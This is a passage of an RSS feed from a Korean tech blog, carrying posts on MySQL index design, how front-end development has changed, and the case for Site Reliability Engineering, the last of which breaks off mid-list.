&lt;li&gt;성별 컬럼(gender)은 값이 'M', 'F'만 존재하므로 선택도가 낮음&lt;/li&gt;
&lt;li&gt;이메일 주소(email)은 거의 모두가 고유하므로 선택도가 매우 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;자주 조회되는 쿼리 기반 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스 설계의 출발점은 &lt;b&gt;쿼리 패턴 분석&lt;/b&gt;입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;EXPLAIN으로 쿼리 실행 계획 분석&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;EXPLAIN SELECT * FROM users WHERE email = 'user@example.com';&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;key&quot; 컬럼에 인덱스명이 나타나야 인덱스가 사용된 것임을 의미함&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;실무 예시: 검색창, 필터 조건, 페이지네이션&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;-- 검색 조건이 자주 사용되는 게시판
SELECT *
FROM posts
WHERE title LIKE 'mysql%'
  AND created_at &amp;gt;= '2024-01-01'
ORDER BY created_at DESC
LIMIT 20;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 경우, &lt;code&gt;created_at&lt;/code&gt;과 함께 &lt;code&gt;title&lt;/code&gt;의 Fulltext 인덱스를 혼합 고려할 수 있습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;인덱스가 오히려 성능을 떨어뜨리는 경우&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용되지 않는 인덱스는 쓰기 성능을 저하시킴&lt;/li&gt;
&lt;li&gt;쿼리 조건과 일치하지 않는 인덱스는 오히려 옵티마이저를 혼란시킬 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인덱스 오남용 방지 가이드&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;INSERT / UPDATE 성능 저하&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스가 많을수록 데이터 삽입/갱신 시 추가 작업 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;디스크 공간 증가&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인덱스는 별도의 저장 공간을 차지함&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;커버링 인덱스가 항상 빠른 건 아님&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일부 쿼리에서 인덱스만으로 데이터를 반환할 수 있는 경우 커버링 인덱스를 활용&lt;/li&gt;
&lt;li&gt;하지만 SELECT *처럼 많은 컬럼을 조회하는 경우엔 큰 효과 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인덱스 실무 예제 정리&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;인덱스 생성&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;CREATE INDEX idx_email ON users (email);&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;인덱스 확인&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SHOW INDEX FROM users;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;쿼리 실행 계획 확인&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;EXPLAIN SELECT * FROM users WHERE email = 'test@example.com';&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;인덱스 삭제&lt;/h4&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;DROP INDEX idx_email ON users;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고 자료&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/&quot;&gt;MySQL 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Baron Schwartz 외, &quot;High Performance MySQL&quot;, O'Reilly&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html&quot;&gt;https://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 인덱스는 단순한 설정 항목이 아니라 데이터 구조와 쿼리 성능을 좌우하는 핵심 기술입니다. 상황에 따라 적절한 인덱스를 선택하고, 실시간 성능을 모니터링하며 지속적으로 개선하는 것이 가장 효과적인 운영 전략입니다.&lt;/p&gt;</description>
      <category>Programing/MySQL</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/506</guid>
      <comments>https://eyecandyzero.tistory.com/506#entry506comment</comments>
      <pubDate>Wed, 25 Jun 2025 09:52:24 +0900</pubDate>
    </item>
    <item>
      <title>요즘 프론트엔드 vs 과거 프론트엔드: 개발 방식과 역할의 변화</title>
      <link>https://eyecandyzero.tistory.com/505</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 24일 오전 09_20_32.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdvQk7/btsOOhLXBOd/lJFckiw1P5kXAa0WCIykA1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdvQk7/btsOOhLXBOd/lJFckiw1P5kXAa0WCIykA1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdvQk7/btsOOhLXBOd/lJFckiw1P5kXAa0WCIykA1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdvQk7%2FbtsOOhLXBOd%2FlJFckiw1P5kXAa0WCIykA1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;1024&quot; data-filename=&quot;ChatGPT Image 2025년 6월 24일 오전 09_20_32.jpg&quot; data-origin-width=&quot;1536&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 개발 현장에서 프론트엔드는 오랫동안 &amp;lsquo;디자인을 코드로 구현하는 영역&amp;rsquo; 정도로 인식되곤 했다. 그러나 지난 10여 년 사이 프론트엔드는 기술적, 조직적 측면에서 큰 전환점을 맞이했다. 정적인 마크업과 간단한 스크립트 위주의 개발 방식에서, 복잡한 애플리케이션 구조와 사용자 경험 중심의 설계로 무게중심이 이동했다. 이 글에서는 과거 프론트엔드 개발과 현대 프론트엔드의 차이를 비교하며 그 변화가 가지는 의미를 짚어본다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;과거 프론트엔드: 정적 마크업과 제한된 역할&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2000년대 중후반까지의 프론트엔드 개발은 정적인 구조를 기반으로 한 단순한 마크업 작성과 스타일링 작업이 중심이었다. 대부분의 비즈니스 로직은 서버에서 처리되었고, 클라이언트에서는 HTML, CSS, 그리고 jQuery 기반의 이벤트 처리 정도만 담당했다. 이 시기의 프론트엔드 개발자는 시각적 결과물 구현에 초점을 맞춘 퍼블리셔에 가까웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;과거 프론트엔드의 전형적인 특징:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: 정적인 웹페이지 구성, 간단한 인터랙션 구현&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기술 스택&lt;/b&gt;: HTML, CSS, JavaScript(jQuery)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;작업 방식&lt;/b&gt;: 디자인 시안에 따른 수작업 구현, FTP 기반 배포, 빌드 자동화 부재&lt;/li&gt;
&lt;li&gt;&lt;b&gt;조직 구조&lt;/b&gt;: 디자이너-퍼블리셔-백엔드 개발자 순으로 이어지는 수직적 워크플로우&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당시에는 프론트엔드의 역할이 제한적이었기 때문에 시스템 전반에 대한 고려보다는 납기일과 시안 충족이 주요 목표였다. 코드 재사용성이나 유지보수성은 크게 중요하지 않았고, 팀 간 경계 또한 명확했다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;현대 프론트엔드: 구조적 사고와 제품 중심 개발&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘날 프론트엔드는 하나의 독립된 애플리케이션을 구성하는 고도화된 개발 영역으로 인식된다. UI를 구현하는 것을 넘어, 데이터 흐름 관리, 상태 설계, 성능 최적화, 접근성 확보, SEO 대응까지 다방면에 걸친 책임을 갖는다. React, Vue, Svelte 같은 프레임워크는 이러한 구조적 개발을 뒷받침하며, 코드의 재사용성과 확장성, 유지보수성까지 고려하게 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현대 프론트엔드의 핵심 요소:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;기술 스택&lt;/b&gt;: React, Vue, TypeScript, Vite, Webpack, TailwindCSS 등&lt;/li&gt;
&lt;li&gt;&lt;b&gt;역할&lt;/b&gt;: SPA 구축, 상태관리, API 연동, 보안 및 테스트 자동화&lt;/li&gt;
&lt;li&gt;&lt;b&gt;개발 문화&lt;/b&gt;: Git 기반 협업, 코드 리뷰, CI/CD, 테스트 커버리지 측정&lt;/li&gt;
&lt;li&gt;&lt;b&gt;협업 방식&lt;/b&gt;: 제품 관리자(PO), UX 디자이너, QA, 백엔드 개발자와의 수평적 협업&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현대의 프론트엔드 개발자는 서비스 품질 전반에 영향을 주는 엔지니어로 자리잡았으며, 프론트엔드 팀이 별도로 존재하거나 백엔드와 대등한 위치에서 논의하는 구조도 보편화되고 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;프론트엔드의 경계 확장과 풀스택화&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js, Nuxt, Remix 등 풀스택 프레임워크의 도입은 프론트엔드와 백엔드의 역할 구분을 더욱 모호하게 만들고 있다. 서버 사이드 렌더링(SSR), 정적 생성(SSG), 하이브리드 렌더링 등 다양한 방식이 접목되면서, 프론트엔드는 클라이언트 영역을 넘어 서버 환경까지 고려해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 Firebase, Supabase 같은 BaaS(Backend as a Service) 플랫폼은 프론트엔드 개발자가 서버 구성 없이도 인증, 데이터베이스 연동, 파일 저장 등의 기능을 직접 구현할 수 있게 지원한다. 이로 인해 프론트엔드 개발자는 백엔드 설계나 인프라 구조까지 이해하고 다루는, 실질적인 풀스택 역할을 요구받고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프론트엔드 확장의 흐름:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버 사이드 렌더링 및 데이터 페칭 전략에 대한 이해 요구&lt;/li&gt;
&lt;li&gt;클라우드 인프라와 배포 파이프라인 경험&lt;/li&gt;
&lt;li&gt;API 설계 및 데이터 구조 최적화&lt;/li&gt;
&lt;li&gt;문서화와 기술 간 의사소통 역량 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;프론트엔드의 변화가 의미하는 것&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 변화는 단지 기술의 발전만을 뜻하지 않는다. 프론트엔드는 사용자 경험(UX)을 좌우하는 중요한 요소이자, 개발자 경험(DX)을 고려한 구조 설계의 출발점이 되었다. 사용자와의 접점에서 발생하는 모든 이슈를 빠르게 파악하고 개선하기 위해, 프론트엔드 개발자는 점점 더 복잡한 문제를 주도적으로 해결해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 제품 전반의 품질을 위한 공통 규칙과 스타일 가이드, 컴포넌트 디자인 시스템 등을 직접 설계하고 유지하는 역할도 맡는다. 이로 인해 프론트엔드 개발자는 단지 '보이는 것'만이 아닌, '작동하는 것'과 '유지 가능한 것'에 대한 책임까지 지는 포지션으로 확장되었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;맺음말: 프론트엔드는 제품을 함께 만드는 엔지니어&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프론트엔드는 더 이상 단순히 화면을 구성하는 개발자가 아니다. 다양한 기술 스택을 이해하고, 협업 구조 속에서 제품의 방향성과 품질을 함께 고민하는 전문가다. 이는 단순한 역할 변화가 아니라, 직무의 본질적 재정의라 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로 프론트엔드 개발자는 더욱 복잡하고 다양해지는 웹 환경 속에서, 사용자 경험과 기술적 안정성을 모두 만족시켜야 할 과제를 안고 있다. 그리고 그 변화의 중심에는 프론트엔드라는 기술보다도, 제품을 함께 완성해나가는 엔지니어로서의 정체성이 자리 잡고 있다.&lt;/p&gt;</description>
      <category>잡생각/컬럼</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/505</guid>
      <comments>https://eyecandyzero.tistory.com/505#entry505comment</comments>
      <pubDate>Tue, 24 Jun 2025 09:23:09 +0900</pubDate>
    </item>
    <item>
      <title>한국 IT 조직에 SRE(Site Reliability Engineering)가 필요한 이유</title>
      <link>https://eyecandyzero.tistory.com/504</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;ChatGPT Image 2025년 6월 20일 오후 05_26_25.jpg&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;267&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wsCby/btsOKjDZD8Z/fRRA7JMdMZXSejw1h6FO00/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wsCby/btsOKjDZD8Z/fRRA7JMdMZXSejw1h6FO00/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wsCby/btsOKjDZD8Z/fRRA7JMdMZXSejw1h6FO00/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwsCby%2FbtsOKjDZD8Z%2FfRRA7JMdMZXSejw1h6FO00%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;267&quot; data-filename=&quot;ChatGPT Image 2025년 6월 20일 오후 05_26_25.jpg&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;267&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;SRE(Site Reliability Engineering)&lt;/b&gt;는 소프트웨어 엔지니어링 기법을 운영에 적용해 &lt;b&gt;서비스의 신뢰성과 자동화를 동시에 추구&lt;/b&gt;하는 방법론이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SLO, Toil, Error Budget, 온콜 체계&lt;/b&gt; 등을 통해 장애 대응과 배포 안정성을 체계화하며, 기존 Ops와는 다른 철학과 문화적 기반을 갖는다.&lt;/li&gt;
&lt;li&gt;성공적인 도입을 위해선 &lt;b&gt;기술보다 문화의 전환이 중요&lt;/b&gt;하며, DevOps와 함께 설계할 때 시너지가 극대화된다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;들어가며: 왜 SRE인가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서비스가 커질수록 '운영'은 단순한 백오피스 업무가 아닌, 사용자 경험을 좌우하는 핵심 축으로 부상한다. 시스템은 끊임없이 복잡해지고, 장애는 예고 없이 발생하며, 릴리스 주기는 점점 짧아지고 있다. 이런 환경에서 전통적인 인프라 운영 방식은 한계에 부딪힐 수밖에 없다. 이 지점에서 Site Reliability Engineering, 즉 SRE라는 새로운 운영 철학이 주목받기 시작했다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;전통적 인프라 운영의 한계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과거의 운영팀은 대개 개발자와 분리되어 있었다. 개발팀이 만든 코드를 운영팀이 배포하고, 문제가 생기면 로그를 뒤지며 복구하는 구조였다. 이런 방식은 일정 규모까지는 효과적일 수 있지만, 다음과 같은 문제를 안고 있었다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;장애가 반복되더라도 근본 원인 분석보다는 단기 복구에 집중&lt;/li&gt;
&lt;li&gt;배포는 수동이며 종종 야간이나 주말에 진행&lt;/li&gt;
&lt;li&gt;운영팀과 개발팀 간의 책임 소재 충돌&lt;/li&gt;
&lt;li&gt;자동화보다 수작업에 의존하는 문화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과적으로 운영은 점점 비효율적으로 변했고, 개발 주기의 속도와 품질 모두를 떨어뜨리는 병목이 되기 시작했다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;DevOps의 등장과 SRE의 태동&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 문제를 해결하기 위한 하나의 해법으로 등장한 것이 DevOps다. 개발(Development)과 운영(Operations)의 경계를 허물고, 협업을 통해 지속적인 통합과 배포를 가능하게 하는 접근 방식이다. DevOps는 문화와 프로세스 중심의 운동이었고, 이를 기술적으로 구체화한 실천 모델 중 하나가 바로 SRE다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 구글에서 시작되었다. 초기에는 대규모 시스템을 안정적으로 운영하기 위한 엔지니어링 중심의 접근이었다. 단순히 운영을 담당하는 것이 아니라, 소프트웨어 엔지니어가 직접 시스템 신뢰성을 책임지고 개선해나가는 역할이었다. 구글은 이를 통해 운영의 표준을 만들고, 장애 대응과 자동화, 가용성 관리를 정형화해나갔다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 지금, SRE인가?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라우드 전환과 함께 서비스 아키텍처는 더욱 유연해졌지만, 동시에 더 많은 복잡성과 예측 불가능성을 품게 됐다. 마이크로서비스, 컨테이너, 서버리스 환경은 전통적인 운영 관점으로는 통제가 어렵다. 여기서 필요한 건 단순한 운영 인력이 아니라, 시스템 전반을 이해하고 지표 기반으로 '신뢰성'을 관리할 수 있는 엔지니어다. 이것이 SRE가 다시 주목받는 이유다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 릴리스 주기가 짧아지면서 '빠른 배포와 안정성'이라는 모순된 목표를 동시에 달성해야 하는 상황이 많아졌다. SRE는 이 두 가지를 균형 있게 추구할 수 있는 구조적 해법을 제시한다. 단순한 수동 대응이 아닌, 시스템적 접근과 자동화, 문화적 전환까지 포함하는 것이 특징이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SRE의 정의와 핵심 철학&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Site Reliability Engineering(SRE)은 시스템의 &lt;b&gt;신뢰성&lt;/b&gt;을 중심에 두는 운영 방법론이다. 단순한 인프라 관리나 장애 대응을 넘어, 소프트웨어 엔지니어링의 기술과 원칙을 운영에 적용함으로써 시스템을 더 예측 가능하게, 그리고 자동화되게 만드는 것을 목표로 한다. 이는 기존 운영 조직의 방식과는 철학부터가 다르다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SRE의 목적: 시스템의 &quot;신뢰성&quot; 확보&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE의 존재 목적은 명확하다. 서비스가 사용자에게 얼마나 안정적이고 일관되게 동작하느냐를 보장하는 것이다. 여기서 중요한 것은 &quot;완벽한 무장애&quot;가 아니라, &quot;비즈니스가 요구하는 수준의 신뢰성&quot;을 정의하고 그 수준을 유지하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 모든 서비스가 100% 가용성을 목표로 해야 하는 것은 아니다. 어떤 경우에는 99.9%만 되어도 충분하다. 오히려 과도한 가용성 추구는 개발 속도를 늦추고, 유지비용을 높이며, 실제 사용자에게는 큰 가치를 주지 못할 수도 있다. SRE는 바로 이 균형점을 찾고 관리하는 역할을 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;SLA, SLO, SLI의 개념과 차이점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE에서 가장 자주 등장하는 용어는 다음 세 가지다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;SLA (Service Level Agreement)&lt;/b&gt;: 서비스 제공자와 고객 간의 외부 계약. 지켜지지 않으면 금전적 보상 등의 책임이 따른다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SLO (Service Level Objective)&lt;/b&gt;: 내부적으로 설정하는 서비스 신뢰성 목표치. SLA보다 다소 여유 있는 범위로 설정한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SLI (Service Level Indicator)&lt;/b&gt;: 실제 측정 가능한 지표. 예: 평균 응답 시간, 오류율, 성공 요청 비율 등&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 셋은 계층적으로 연결되어 있으며, 신뢰성을 수치로 정의하고 논의할 수 있게 해준다. SLI는 실측 데이터이고, SLO는 내부 목표이며, SLA는 외부 약속이다. 이 구조가 있어야만 운영에 '객관적인 기준'이 생긴다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;Toil&quot;의 개념과 자동화의 철학&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 수작업 반복 업무, 즉 &lt;b&gt;Toil(허드렛일)&lt;/b&gt;을 줄이는 것을 매우 중요하게 생각한다. Toil이 많은 시스템일수록 사람이 계속 붙어야 하며, 이는 결국 확장성과 신뢰성을 떨어뜨린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Toil은 다음과 같은 특성을 가진다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;반복적이고 문서화되어 있으며&lt;/li&gt;
&lt;li&gt;자동화될 수 있으나 수동으로 수행되고&lt;/li&gt;
&lt;li&gt;비즈니스 가치를 직접적으로 창출하지 않으며&lt;/li&gt;
&lt;li&gt;시스템 성장과 함께 선형적으로 증가한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 팀의 시간을 이런 일에 낭비하지 않도록, 가능한 모든 반복 작업을 자동화하려 한다. 배포, 모니터링, 알림, 인시던트 대응 등 모든 과정에 자동화를 적극적으로 도입함으로써, 운영의 품질을 높이고 인간의 실수를 줄이는 것이 목적이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;SRE의 주요 역할과 책임&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Site Reliability Engineer는 단순히 서버를 관리하거나 모니터링하는 운영 인력이 아니다. SRE는 시스템의 신뢰성과 안정성을 코드로 책임지는 엔지니어이며, 운영을 자동화하고 확장 가능한 구조로 개선하는 것을 목표로 한다. 그렇기에 SRE의 역할은 전통적인 Ops와는 근본적으로 다르며, 명확한 기술적 책임과 문화적 기여를 포함한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;인시던트 대응과 회고 문화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE의 대표적인 역할 중 하나는 장애(Incident) 대응이다. 장애가 발생했을 때 빠르게 원인을 분석하고 복구 절차를 진행하는 것은 물론, 사후에는 &lt;b&gt;blameless postmortem&lt;/b&gt;(비난 없는 사후 분석)을 통해 근본 원인을 문서화하고 조직 전체에 교훈을 전파하는 역할을 맡는다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인시던트 대응은 단순 복구가 아니라 학습의 기회&lt;/li&gt;
&lt;li&gt;회고를 통해 반복 방지와 시스템 구조 개선을 이끈다&lt;/li&gt;
&lt;li&gt;책임 추궁이 아닌 시스템 개선 중심의 문화가 핵심&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 단순 복구 이상의 조직 학습이 일어나고, 향후 유사 상황에서 더 빠르고 정확한 대응이 가능해진다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시스템 모니터링과 가용성 관리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템을 신뢰할 수 있으려면 가시성이 확보되어야 한다. SRE는 &lt;b&gt;모니터링&lt;/b&gt;, &lt;b&gt;로깅&lt;/b&gt;, &lt;b&gt;알림 구성&lt;/b&gt;을 통해 시스템의 상태를 실시간으로 파악할 수 있도록 설계하고 운영한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주요 SLI(서비스 지표)를 기반으로 한 모니터링&lt;/li&gt;
&lt;li&gt;알람 피로(Alarm fatigue)를 막기 위한 알림 필터링&lt;/li&gt;
&lt;li&gt;SLO에 근거한 운영 안정성 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 접근은 단순한 장애 감지에 그치지 않고, 장기적으로 시스템의 신뢰성 수준을 정량적으로 관리할 수 있게 해준다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;배포 파이프라인 자동화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SRE는 배포(Deployment)도 운영의 일부로 본다. 수동 배포는 곧 장애 가능성이며, 배포 속도와 품질은 곧 사용자 경험에 직결된다. 따라서 &lt;b&gt;CI/CD 파이프라인&lt;/b&gt;을 구축하고, 안정적인 &lt;b&gt;롤백 전략&lt;/b&gt;, &lt;b&gt;블루그린 배포&lt;/b&gt;, &lt;b&gt;카나리 릴리스&lt;/b&gt; 등을 통해 배포 안정성을 확보한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빌드 &amp;rarr; 테스트 &amp;rarr; 배포의 자동화&lt;/li&gt;
&lt;li&gt;환경 간 구성 차이를 최소화해 일관성 유지&lt;/li&gt;
&lt;li&gt;배포 중단 없는 업데이트, 빠른 복구 전략 포함&lt;/li&gt;
